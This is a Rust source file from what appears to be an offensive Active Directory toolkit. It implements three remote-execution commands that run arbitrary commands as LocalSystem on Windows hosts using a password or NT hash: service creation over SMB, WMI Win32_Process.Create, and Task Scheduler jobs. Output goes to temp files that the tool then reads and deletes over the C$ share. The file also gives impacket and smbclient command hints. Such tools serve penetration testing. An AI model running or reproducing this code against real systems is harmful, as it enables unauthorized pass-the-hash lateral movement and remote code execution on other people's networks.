use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct ExecArgs {
#[command(flatten)]
pub auth: crate::shared_args::SmbAuth,
#[arg(long)]
pub nt_hash: Option<adhammer_core::SecretString>,
#[arg(long)]
pub command: String,
}
pub(crate) async fn exec_cmd(mut a: ExecArgs) -> Result<()> {
a.auth.password = crate::resolve_secret(&a.auth.password, "ADHAMMER_PASSWORD")?;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.auth.host).await?;
crate::smb_login(
&mut smb,
&a.auth.host,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&a.nt_hash,
)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.auth.host))
.await?;
let r = dcerpc::svcctl::exec(&mut smb, &a.auth.host, &a.command).await?;
let clean = if r.cleaned {
"service cleaned up"
} else {
"SERVICE NOT DELETED"
};
if r.ran {
println!(
"[+] executed as LocalSystem (service '{}', start win32 {}); {clean}",
r.service, r.start_win32
);
} else {
println!("[-] service '{}' created but start returned win32 {} (command may not have run); {clean}", r.service, r.start_win32);
}
match r.output {
Some(o) if !o.is_empty() => println!("\n{o}"),
Some(_) => println!("[*] command produced no output"),
None => println!("[*] output not captured (see warnings; command may still have run)"),
}
Ok(())
}
pub(crate) async fn wmiexec_cmd(mut a: ExecArgs) -> Result<()> {
a.auth.password = crate::resolve_secret(&a.auth.password, "ADHAMMER_PASSWORD")?;
use smb2_client::SmbClient;
let hash = a.nt_hash.as_deref().map(crate::parse_nt_hash).transpose()?;
anyhow::ensure!(
!a.auth.password.is_empty() || hash.is_some(),
"provide --password or --nt-hash"
);
let tag = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_millis() as u64)
.unwrap_or(0)
& 0xff_ffff;
let out_rel = format!("Windows\\Temp\\ADHwmi{tag:06x}.out");
let out_abs = format!("C:\\{out_rel}");
let wrapped = format!("cmd.exe /Q /c {} > {out_abs} 2>&1", a.command);
let hr = dcerpc::dcom_wmi::wmi_exec(
&a.auth.host,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
hash.as_ref(),
"ADHAMMER",
&wrapped,
)
.await?;
if hr != 0 {
crate::ui::warn(&format!(
"Win32_Process.Create returned HRESULT 0x{:08x} (command may not have run)",
hr as u32
));
} else {
crate::ui::ok("process created via WMI (Win32_Process.Create)");
}
let mut smb = SmbClient::connect(&a.auth.host).await?;
crate::smb_login(
&mut smb,
&a.auth.host,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&a.nt_hash,
)
.await?;
smb.tree_connect(&format!("\\\\{}\\C$", a.auth.host))
.await?;
let mut out = None;
let mut last_err: Option<String> = None;
let schedule: &[u64] = if adhammer_core::speed::is_native() {
&[100, 200, 300, 400, 500, 600]
} else {
&[500, 700, 1000, 1400, 2000, 2000]
};
for &delay_ms in schedule {
match smb.read_file_delete(&out_rel).await {
Ok(b) => {
out = Some(b);
break;
}
Err(e) => {
last_err = Some(e.to_string());
tokio::time::sleep(std::time::Duration::from_millis(delay_ms)).await;
}
}
}
match out {
Some(b) if !b.is_empty() => {
let s = String::from_utf8_lossy(&b);
println!("\n{}", s.trim_end());
}
Some(_) => crate::ui::info("command produced no output"),
None => {
crate::ui::info("output not captured (command may still have run)");
if let Some(err) = last_err {
eprintln!("[hint] last C$ read error: {err}");
}
eprintln!(
"[hint] manual retrieval: `smbclient //{h}/C$ -c 'get {p}' -U {d}/{u}%<pw>` \
(Windows/WmiPrvSE sometimes flushes >8s after Win32_Process.Create returns)",
h = a.auth.host,
p = out_rel.replace('\\', "/"),
d = a.auth.domain,
u = a.auth.user,
);
}
}
Ok(())
}
pub(crate) async fn atexec_cmd(mut a: ExecArgs) -> Result<()> {
a.auth.password = crate::resolve_secret(&a.auth.password, "ADHAMMER_PASSWORD")?;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.auth.host).await?;
crate::smb_login(
&mut smb,
&a.auth.host,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&a.nt_hash,
)
.await?;
let tag = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.subsec_nanos())
.unwrap_or(0);
let out_rel = format!("Windows\\Temp\\ADhat{tag:08x}.out");
let full = format!("{} > C:\\{out_rel} 2>&1", a.command);
smb.tree_connect(&format!("\\\\{}\\IPC$", a.auth.host))
.await?;
let (path, run_hr) = match dcerpc::tsch::atexec(
&mut smb,
&full,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&a.auth.host,
)
.await
{
Ok(v) => v,
Err(e) => {
let msg = e.to_string();
let looks_sealed = msg.contains("sealed response")
|| msg.contains("empty auth_value")
|| msg.contains("STATUS_PIPE_BUSY")
|| msg.contains("0xc00000ae");
if looks_sealed {
eprintln!("[!] MS-TSCH sealed-RPC fault: {msg}");
eprintln!(
"[hint] this step is a known adhammer gap: sealed-response \
auth_value handling on the SchRpcRun path; unblocked by the \
kerbcore swap tracked at [[project-kerbcore]]."
);
eprintln!(
"[hint] external tool: impacket-atexec {d}/{u}@{h} '{c}'",
d = a.auth.domain,
u = a.auth.user,
h = a.auth.host,
c = a.command
);
eprintln!("[hint] see docs/GAPS.md#psexec-sealed for the full row");
}
return Err(e.into());
}
};
println!("[+] scheduled task {path} registered + run as LocalSystem (run HRESULT 0x{run_hr:08x}); deleted");
smb.tree_connect(&format!("\\\\{}\\C$", a.auth.host))
.await?;
match smb.read_file_delete(&out_rel).await {
Ok(b) if !b.is_empty() => println!(
"\n{}",
String::from_utf8_lossy(&b).replace('\r', "").trim_end()
),
Ok(_) => println!("[*] command produced no output"),
Err(e) => println!("[*] output not captured: {e}"),
}
Ok(())
}